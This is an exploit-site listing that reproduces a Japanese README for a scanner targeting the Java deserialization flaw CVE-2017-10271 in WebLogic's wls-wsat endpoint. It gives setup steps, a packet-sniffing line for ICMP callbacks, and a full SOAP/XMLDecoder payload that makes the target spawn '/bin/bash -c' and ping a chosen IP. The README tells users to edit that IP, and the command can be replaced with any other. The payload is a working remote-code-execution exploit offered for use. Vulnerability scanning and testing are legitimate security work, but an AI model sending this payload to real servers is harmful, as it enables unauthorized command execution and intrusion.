Sploitus

Exploit for JavaDeserialization

kitploit · 2026-08-25

Exploit Code

MARKDOWN72 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ETOCHENEY-JAVADESERIALIZATION
# Javaデシリアライゼーション脆弱性検出

CVE-2017-10271のような脆弱性を対象としたJavaデシリアライゼーション脆弱性スキャナーです。このプロジェクトには現在1つのPoCのみが含まれており、他はまだ整理されていません。

## インストール

  1. nmapのインストール

​ https://nmap.org/download.html から、OSに応じたバージョンをダウンロードしてインストールしてください。

  2. サードパーティパッケージのインストール

`pip install -r requirements.txt`

  3. スキャン

PoCを編集し、pingコマンド内のIPアドレスを自分のIPアドレスに変更してください。

25行目のsniffコードを変更してください

root@kitploit:~
         
         sniff(filter='icmp and yourIP',prn=packet_callback)
         

`java_scan.py -i IPアドレス [options] java_scan.py -h でヘルプを表示`




## 使用方法

#### 1\. PoC

> 使用前に必ずPoCを編集し、pingコマンド内のIPアドレスを自分のIPアドレスに変更してください。

PoCはWindows用とLinux用の2つのJSONファイルです(現在、PoCのパス指定機能は追加されていませんが、今後のバージョンで追加予定です)。プログラムディレクトリにPoCファイルをpoc.jsonおよびpoc_win.jsonという名前で配置してください。

PoCの形式について(Linux版、Windows版も同様)

root@kitploit:~
    
    
    {
      "url":"wls-wsat/CoordinatorPortType",
      "header": "Content-Type:text/xml",
      "data": [
        "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
            "<soapenv:Header>",
                "<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
                   "<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
                        "<void class='java.lang.ProcessBuilder'>",
                            "<array class='java.lang.String' length='3'>",
                                "<void index='0'>",
                                    "<string>/bin/bash</string>",
                                "</void>",
                                "<void index='1'>",
                                    "<string>-c</string>",
                                "</void>",
                                "<void index='2'>",
                                    "<string>ping 10.60.18.5 -c 2</string>",
                                "</void>",
                            "</array>",
                        "<void method='start'/></void>",
                    "</java>",
                "</work:WorkContext>",
            "</soapenv:Header>",
            "<soapenv:Body/>",
        "</soapenv:Envelope>"
      ]
    }